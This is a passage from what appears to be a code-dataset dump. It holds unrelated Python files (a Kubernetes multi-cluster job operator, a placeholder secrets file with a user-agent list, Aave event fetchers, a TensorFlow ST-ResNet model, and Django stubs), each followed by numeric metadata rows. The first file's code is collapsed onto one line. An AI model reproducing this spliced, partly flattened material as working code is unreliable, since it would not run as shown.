= json.loads(job_text) #i = 0 for cluster in eligible_clusters: # Update replicas per cluster #job_body['spec']['replicas'] = eligible_replicas[i] createJob(cluster, job_body, fogpapp_namespace) # i += 1 dict = {} dict['message'] = 'provisioned' dict['replicas'] = eligible_replicas patch.status['message'] = dict # TO DO: per cluster overrides return {'fogapp_name': fogapp_name, 'fogapp_namespace': fogpapp_namespace, 'input_clusters': fogapp_locations, 'input_replicas': fogapp_replicas, 'fogapp_replicas': eligible_replicas, 'fogapp_locations': eligible_clusters, 'fogapp_status': 'provisioned'} @kopf.on.delete('fogguru.eu', 'v1', 'multiclusterjobs') def delete(spec, body, status, **kwargs): fogapp_name = body['metadata']['name'] # Get namespace if 'namespace' in body['metadata']: fogpapp_namespace = body['metadata']['namespace'] else: fogpapp_namespace = "default" fogapp_locations_update = [] fogapp_locations_create = [] if 'update_fn' in status: fogapp_locations_update = status['update_fn']['fogapp_locations'] if 'create_fn' in status: fogapp_locations_create = status['create_fn']['fogapp_locations'] for cluster in fogapp_locations_update: try: deleteJob(cluster, fogapp_name, fogpapp_namespace) except: pass for cluster in fogapp_locations_create: try: deleteJob(cluster, fogapp_name, fogpapp_namespace) except: pass msg = f"Multi Cluster Job {fogapp_name} is DELETED!" return {'message': msg}
43.673184
260
0.557227
5,864
62,540
5.738915
0.045191
0.061807
0.025317
0.023178
0.931804
0.911687
0.892788
0.882447
0.872166
0.865896
0
0.005561
0.335753
62,540
1,431
261
43.703704
0.804535
0.077406
0
0.915663
0
0.010195
0.173745
0.011064
0
0
0
0
0
1
0.007414
false
0.006487
0.004634
0
0.019462
0.063948
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
c9a806c8cda321ce05dc7ac6c3ae9b4c5171f1a7
5,638
py
Python
main/secrets.py
Saketspradhan/something-I-ll-add-later
096f5d6956f7b438360930a5ada6958b40bb4e0b
[ "MIT" ]
null
null
null
main/secrets.py
Saketspradhan/something-I-ll-add-later
096f5d6956f7b438360930a5ada6958b40bb4e0b
[ "MIT" ]
null
null
null
main/secrets.py
Saketspradhan/something-I-ll-add-later
096f5d6956f7b438360930a5ada6958b40bb4e0b
[ "MIT" ]
null
null
null
username = 'ENTER YOUR E-MAIL ID HERE' password = 'ENTER YOUR PASSWORD HERE' entry_nodeIp = 'http://py4e-data.dr-chuck.net/json?' gmaps_api_key = 42 user_agents_list = ["Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36", ]
108.423077
139
0.715857
1,080
5,638
3.732407
0.109259
0.111635
0.102704
0.182585
0.920863
0.920863
0.920863
0.911933
0.904738
0.903002
0
0.259215
0.109791
5,638
52
140
108.423077
0.543933
0
0
0
0
0.901961
0.951324
0
0
0
0
0
0
1
0
false
0.019608
0
0
0
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
1
0
0
0
0
1
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
11
c9ae600e30118f7dff7c8a56c48df38975ef6e58
2,033
py
Python
src/ctc/protocols/aave_v2_utils/aave_lending_pool.py
fei-protocol/checkthechain
ec838f3d0d44af228f45394d9ba8d8eb7f677520
[ "MIT" ]
94
2022-02-15T19:34:49.000Z
2022-03-26T19:26:22.000Z
src/ctc/protocols/aave_v2_utils/aave_lending_pool.py
fei-protocol/checkthechain
ec838f3d0d44af228f45394d9ba8d8eb7f677520
[ "MIT" ]
7
2022-03-03T02:58:47.000Z
2022-03-11T18:41:05.000Z
src/ctc/protocols/aave_v2_utils/aave_lending_pool.py
fei-protocol/checkthechain
ec838f3d0d44af228f45394d9ba8d8eb7f677520
[ "MIT" ]
7
2022-02-15T17:53:07.000Z
2022-03-17T19:14:17.000Z
from __future__ import annotations from ctc import evm from ctc import rpc from ctc import spec from . import aave_spec async def async_get_deposits( start_block: spec.BlockNumberReference | None = None, end_block: spec.BlockNumberReference | None = None, provider: spec.ProviderSpec = None, ) -> spec.DataFrame: provider = rpc.get_provider(provider) network = provider['network'] if network is None: raise Exception('could not determine network') if start_block is None: if network == 'mainnet': start_block = 11362579 else: start_block = 0 if end_block is None: end_block = 'latest' aave_lending_pool = aave_spec.get_aave_address( name='LendingPool', network=network, ) events = await evm.async_get_events( contract_address=aave_lending_pool, event_name='Deposit', start_block=start_block, end_block=end_block, verbose=False, ) events['arg__amount'] = events['arg__amount'].map(int) return events async def async_get_withdrawals( start_block: spec.BlockNumberReference | None = None, end_block: spec.BlockNumberReference | None = None, provider: spec.ProviderSpec = None, ) -> spec.DataFrame: provider = rpc.get_provider(provider) network = provider['network'] if network is None: raise Exception('could not determine network') if start_block is None: if network == 'mainnet': start_block = 11362579 else: start_block = 0 if end_block is None: end_block = 'latest' aave_lending_pool = aave_spec.get_aave_address( name='LendingPool', network=network, ) events = await evm.async_get_events( contract_address=aave_lending_pool, event_name='Withdraw', start_block=start_block, end_block=end_block, verbose=False, ) events['arg__amount'] = events['arg__amount'].map(int) return events
25.734177
58
0.654697
240
2,033
5.283333
0.220833
0.094637
0.091483
0.104101
0.873817
0.873817
0.873817
0.873817
0.873817
0.873817
0
0.011984
0.26119
2,033
78
59
26.064103
0.832224
0
0
0.793651
0
0
0.086122
0
0
0
0
0
0
1
0
false
0
0.079365
0
0.111111
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4eae2f0bef977e2f3aba7a69ce58e709f6fd6a8d
22,003
py
Python
STResNet/st_resnet.py
vtsuperdarn/deep_leaning_on_GSP_TEC
f5989d1742be9c02edbcab37433f468cb2c5f771
[ "MIT" ]
9
2018-09-17T02:11:26.000Z
2020-12-16T12:28:35.000Z
STResNet/st_resnet.py
vtsuperdarn/deep_leaning_on_GSP_TEC
f5989d1742be9c02edbcab37433f468cb2c5f771
[ "MIT" ]
null
null
null
STResNet/st_resnet.py
vtsuperdarn/deep_leaning_on_GSP_TEC
f5989d1742be9c02edbcab37433f468cb2c5f771
[ "MIT" ]
6
2018-07-23T13:37:10.000Z
2022-01-19T17:51:19.000Z
''' This file defines the Tensorflow computation graph for the ST-ResNet (Deep Spatio-temporal Residual Networks) architecture. The skeleton of the architecture from inputs to outputs in defined here using calls to functions defined in modules.py. Modularity ensures that the functioning of a component can be easily modified in modules.py without changing the skeleton of the ST-ResNet architecture defined in this file. ''' from params import Params as param import modules as my import tensorflow as tf import numpy as np class STResNetShared(object): def __init__(self): self.graph = tf.Graph() with self.graph.as_default(): B, H, W, C, P, T, O, F, U, V, S, N, R = param.batch_size, param.map_height, param.map_width, param.closeness_sequence_length, param.period_sequence_length, param.trend_sequence_length, param.num_of_output_tec_maps, param.num_of_filters, param.num_of_residual_units, param.exo_values, param.gru_size, param.gru_num_layers, param.resnet_out_filters #ResNet architecture for the three modules #running closeness on first gpu, if GPU number is not specified then it runs by default on GPU:0 with tf.device('/device:GPU:0'): #module 1: Capturing the closeness(recent) if(param.closeness_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.c_tec = tf.placeholder(tf.float32, shape=[None, H, W, C], name="closeness_tec_maps") print ("closeness input shape:", self.c_tec.shape) self.closeness_input = my.ResInput(inputs=self.c_tec, filters=F, kernel_size=param.kernel_size, scope="closeness_input", reuse=None) self.closeness_resnet = my.ResNet(inputs=self.closeness_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="resnet", reuse=None) self.closeness_output = my.ResOutput(inputs=self.closeness_resnet, filters=R, kernel_size=param.kernel_size, scope="resnet_output", reuse=None) #running closeness on second gpu with tf.device('/device:GPU:1'): #module 2: Capturing the period(near) if(param.period_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.p_tec = tf.placeholder(tf.float32, shape=[None, H, W, P], name="period_tec_maps") print ("period input shape:", self.p_tec.shape) self.period_input = my.ResInput(inputs=self.p_tec, filters=F, kernel_size=param.kernel_size, scope="period_input", reuse=None) self.period_resnet = my.ResNet(inputs=self.period_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="resnet", reuse=True) self.period_output = my.ResOutput(inputs=self.period_resnet, filters=R, kernel_size=param.kernel_size, scope="resnet_output", reuse=True) #running closeness on third gpu with tf.device('/device:GPU:0'): #module 3: Capturing the trend(distant) if(param.trend_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.t_tec = tf.placeholder(tf.float32, shape=[None, H, W, T], name="trend_tec_maps") print ("trend input shape:", self.t_tec.shape) self.trend_input = my.ResInput(inputs=self.t_tec, filters=F, kernel_size=param.kernel_size, scope="trend_input", reuse=None) self.trend_resnet = my.ResNet(inputs=self.trend_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="resnet", reuse=True) self.trend_output = my.ResOutput(inputs=self.trend_resnet, filters=R, kernel_size=param.kernel_size, scope="resnet_output", reuse=True) if (param.add_exogenous == True): #TODO: lookback for exogenous is same as trend freq*trend length (have to change this) self.exogenous = tf.placeholder(tf.float32, shape=[None, param.trend_freq*T, V], name="exogenous") print ("exogenous variable", self.exogenous.shape) #processing with exogenous variables #this will be of shape (batch_size, gru_size) self.external = my.exogenous_module(self.exogenous, S, N) #shape (batch_size, 1, gru_size) self.external = tf.expand_dims(self.external, 1) #combining the exogenous and each module output #populating the exogenous variable self.val = tf.tile(self.external, [1, H*W, 1]) self.exo = tf.reshape(self.val, [-1, H, W, S]) with tf.device('/device:GPU:0'): #concatenate the modules output with the exogenous module output if(param.closeness_channel == True): self.close_concat = tf.concat([self.exo, self.closeness_output], 3, name="close_concat") #last convolutional layer for getting information from exo and closeness module self.exo_close = tf.layers.conv2d(inputs=self.close_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_close") with tf.device('/device:GPU:1'): if(param.period_channel == True): self.period_concat = tf.concat([self.exo, self.period_output], 3, name="period_concat") #last convolutional layer for getting information from exo and period module self.exo_period = tf.layers.conv2d(inputs=self.period_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_period") with tf.device('/device:GPU:0'): if(param.trend_channel == True): self.trend_concat = tf.concat([self.exo, self.trend_output], 3, name="trend_concat") #last convolutional layer for getting information from exo and trend module self.exo_trend = tf.layers.conv2d(inputs=self.trend_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_trend") # parameter-matrix-based fusion of the outputs after combining with exo if(param.closeness_channel == True and param.period_channel == True and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=self.exo_period, trend_output=self.exo_trend) elif(param.closeness_channel == True and param.period_channel == True and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=self.exo_period) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=None, trend_output=self.exo_trend) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close) else: # parameter-matrix-based fusion of the outputs after combining with exo if(param.closeness_channel == True and param.period_channel == True and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=self.period_output, trend_output=self.trend_output) elif(param.closeness_channel == True and param.period_channel == True and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=self.period_output) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=None, trend_output=self.trend_output) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output) #shape of output tec map: (Batch_size, map_height, map_width, number of predictions) self.output_tec = tf.placeholder(tf.float32, shape=[None, H, W, O], name="output_tec_map") print ("output shape:", self.output_tec) self.loss_weight_matrix = tf.placeholder(tf.float32, shape=[None, H, W, O], name="loss_weight_matrix") print ("loss_weight_matrix:", self.loss_weight_matrix) #scaling the error using the loss_weight_tensor - elementwise operation self.tec_error = tf.multiply( tf.pow( (self.x_res - self.output_tec) , 2), self.loss_weight_matrix ) print ("tec_error:", self.tec_error.shape) #here we calculate the total sum and then divide - the inbuilt function will handle overflow #self.loss = tf.reduce_sum(tf.pow(self.x_res - self.output_tec, 2)) / (self.x_res.shape[0]) - this is equivalent of below one - batch size is declared none - so can't use this form #this is average loss per the number of output TEC maps #self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1)) #we have divide the loss by number of outputs so this is average loss per TEC map self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1))/(1.0*O) #we have divide the loss by number of outputs * dim of TEC map so this is average loss per pixel in a TEC map #self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1))/(1.0*O*H*W) self.optimizer = tf.train.AdamOptimizer(learning_rate=param.lr, beta1=param.beta1, beta2=param.beta2, epsilon=param.epsilon).minimize(self.loss) #loss summary tf.summary.scalar('loss', self.loss) self.merged = tf.summary.merge_all() self.saver = tf.train.Saver(max_to_keep=None) class STResNetIndep(object): def __init__(self): self.graph = tf.Graph() with self.graph.as_default(): B, H, W, C, P, T, O, F, U, V, S, N, R = param.batch_size, param.map_height, param.map_width, param.closeness_sequence_length, param.period_sequence_length, param.trend_sequence_length, param.num_of_output_tec_maps ,param.num_of_filters, param.num_of_residual_units, param.exo_values, param.gru_size, param.gru_num_layers, param.resnet_out_filters #ResNet architecture for the three modules with tf.device('/device:GPU:0'): #module 1: Capturing the closeness(recent) if(param.closeness_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.c_tec = tf.placeholder(tf.float32, shape=[None, H, W, C], name="closeness_tec_maps") print ("closeness input shape:", self.c_tec.shape) self.closeness_input = my.ResInput(inputs=self.c_tec, filters=F, kernel_size=param.kernel_size, scope="closeness_input", reuse=None) self.closeness_resnet = my.ResNet(inputs=self.closeness_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="closeness_resnet", reuse=None) self.closeness_output = my.ResOutput(inputs=self.closeness_resnet, filters=R, kernel_size=param.kernel_size, scope="closeness_output", reuse=None) with tf.device('/device:GPU:1'): #module 2: Capturing the period(near) if(param.period_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.p_tec = tf.placeholder(tf.float32, shape=[None, H, W, P], name="period_tec_maps") print ("period input shape:", self.p_tec.shape) self.period_input = my.ResInput(inputs=self.p_tec, filters=F, kernel_size=param.kernel_size, scope="period_input", reuse=None) self.period_resnet = my.ResNet(inputs=self.period_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="period_resnet", reuse=None) self.period_output = my.ResOutput(inputs=self.period_resnet, filters=R, kernel_size=param.kernel_size, scope="period_output", reuse=None) with tf.device('/device:GPU:0'): #module 3: Capturing the trend(distant) if(param.trend_channel == True): #shape of a tec map: (Batch_size, map_height, map_width, depth(num of history tec maps)) self.t_tec = tf.placeholder(tf.float32, shape=[None, H, W, T], name="trend_tec_maps") print ("trend input shape:", self.t_tec.shape) self.trend_input = my.ResInput(inputs=self.t_tec, filters=F, kernel_size=param.kernel_size, scope="trend_input", reuse=None) self.trend_resnet = my.ResNet(inputs=self.trend_input, filters=F, kernel_size=param.kernel_size, repeats=U, scope="trend_resnet", reuse=None) self.trend_output = my.ResOutput(inputs=self.trend_resnet, filters=R, kernel_size=param.kernel_size, scope="trend_output", reuse=None) if (param.add_exogenous == True): #lookback for exogenous is same as trend freq*trend length self.exogenous = tf.placeholder(tf.float32, shape=[None, param.trend_freq*T, V], name="exogenous") print ("exogenous variable", self.exogenous.shape) #processing with exogenous variables #this will be of shape (batch_size, gru_size) self.external = my.exogenous_module(self.exogenous, S, N) #shape (batch_size, 1, gru_size) self.external = tf.expand_dims(self.external, 1) #combining the exogenous and each module output #populating the exogenous variable self.val = tf.tile(self.external, [1, H*W, 1]) self.exo = tf.reshape(self.val, [-1, H, W, S]) #concatenate the modules output with the exogenous module output with tf.device('/device:GPU:0'): if(param.closeness_channel == True): self.close_concat = tf.concat([self.exo, self.closeness_output], 3, name="close_concat") #last convolutional layer for getting information from exo and closeness module self.exo_close = tf.layers.conv2d(inputs=self.close_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_close") with tf.device('/device:GPU:1'): if(param.period_channel == True): self.period_concat = tf.concat([self.exo, self.period_output], 3, name="period_concat") #last convolutional layer for getting information from exo and period module self.exo_period = tf.layers.conv2d(inputs=self.period_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_period") with tf.device('/device:GPU:0'): if(param.trend_channel == True): self.trend_concat = tf.concat([self.exo, self.trend_output], 3, name="trend_concat") #last convolutional layer for getting information from exo and trend module self.exo_trend = tf.layers.conv2d(inputs=self.trend_concat, filters=O, kernel_size=param.kernel_size, strides=(1,1), padding="SAME", name="exo_trend") # parameter-matrix-based fusion of the outputs after combining with exo if(param.closeness_channel == True and param.period_channel == True and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=self.exo_period, trend_output=self.exo_trend) elif(param.closeness_channel == True and param.period_channel == True and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=self.exo_period) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close, period_output=None, trend_output=self.exo_trend) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.exo_close) else: # parameter-matrix-based fusion of the outputs after combining with exo if(param.closeness_channel == True and param.period_channel == True and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=self.period_output, trend_output=self.trend_output) elif(param.closeness_channel == True and param.period_channel == True and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=self.period_output) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == True): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output, period_output=None, trend_output=self.trend_output) elif(param.closeness_channel == True and param.period_channel == False and param.trend_channel == False): self.x_res = my.Fusion(scope="fusion", shape=[W, W], num_outputs=O, closeness_output=self.closeness_output) #shape of output tec map: (Batch_size, map_height, map_width, number of predictions) self.output_tec = tf.placeholder(tf.float32, shape=[None, H, W, O], name="output_tec_map") print ("output shape:", self.output_tec) self.loss_weight_matrix = tf.placeholder(tf.float32, shape=[None, H, W, O], name="loss_weight_matrix") print ("loss_weight_matrix:", self.loss_weight_matrix) #scaling the error using the loss_weight_tensor - elementwise operation self.tec_error = tf.multiply( tf.pow( (self.x_res - self.output_tec) , 2), self.loss_weight_matrix ) print ("tec_error:", self.tec_error.shape) #here we calculate the total sum and then divide - the inbuilt function will handle overflow #self.loss = tf.reduce_sum(tf.pow(self.x_res - self.output_tec, 2)) / (self.x_res.shape[0]) - this is equivalent of below one - batch size is declared none - so can't use this form #this is average loss per the number of output TEC maps #self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1)) #we have divide the loss by number of outputs so this is average loss per TEC map self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1))/(1.0*O) #we have divide the loss by number of outputs * dim of TEC map so this is average loss per pixel in a TEC map #self.loss = tf.reduce_mean(tf.reduce_sum(tf.reduce_sum(tf.reduce_sum( self.tec_error, axis=3), axis=1), axis=1))/(1.0*O*H*W) self.optimizer = tf.train.AdamOptimizer(learning_rate=param.lr, beta1=param.beta1, beta2=param.beta2, epsilon=param.epsilon).minimize(self.loss) #loss summary tf.summary.scalar('loss', self.loss) self.merged = tf.summary.merge_all() self.saver = tf.train.Saver(max_to_keep=None)
79.721014
417
0.622461
2,916
22,003
4.523663
0.078875
0.036388
0.027291
0.038208
0.948601
0.945114
0.942991
0.941475
0.937533
0.929194
0
0.007308
0.272372
22,003
275
418
80.010909
0.816615
0.210517
0
0.88
0
0
0.060282
0
0
0
0
0.003636
0
1
0.013333
false
0
0.026667
0
0.053333
0.093333
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
4ecb2c611f009b8cf5b70b87a9f06548457d1763
137
py
Python
src/__init__.py
samsonosiomwan/file-reader-app
ab649256c81a73e5cca936d7f3be5f3d121aadbc
[ "MIT" ]
null
null
null
src/__init__.py
samsonosiomwan/file-reader-app
ab649256c81a73e5cca936d7f3be5f3d121aadbc
[ "MIT" ]
null
null
null
src/__init__.py
samsonosiomwan/file-reader-app
ab649256c81a73e5cca936d7f3be5f3d121aadbc
[ "MIT" ]
null
null
null
import pandas as pd from src.file_interface import * import itertools from abc import ABC,abstractmethod from src.file_interface import *
27.4
34
0.839416
21
137
5.380952
0.52381
0.123894
0.19469
0.353982
0.460177
0
0
0
0
0
0
0
0.124088
137
5
35
27.4
0.941667
0
0
0.4
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
4ecb60b14d37dc175a152f2d8abbc1ac35d44532
146
py
Python
{{cookiecutter.project_slug}}/{{cookiecutter.app_name}}/forms.py
oca159/cookiecutter-django
ee9aac052972ae6b11750039b4e75f0bcd8afa78
[ "MIT" ]
null
null
null
{{cookiecutter.project_slug}}/{{cookiecutter.app_name}}/forms.py
oca159/cookiecutter-django
ee9aac052972ae6b11750039b4e75f0bcd8afa78
[ "MIT" ]
null
null
null
{{cookiecutter.project_slug}}/{{cookiecutter.app_name}}/forms.py
oca159/cookiecutter-django
ee9aac052972ae6b11750039b4e75f0bcd8afa78
[ "MIT" ]
null
null
null
from django import forms # https://docs.djangoproject.com/en/1.10/topics/forms/ # https://docs.djangoproject.com/en/1.10/topics/forms/modelforms/
36.5
65
0.773973
23
146
4.913043
0.565217
0.176991
0.247788
0.477876
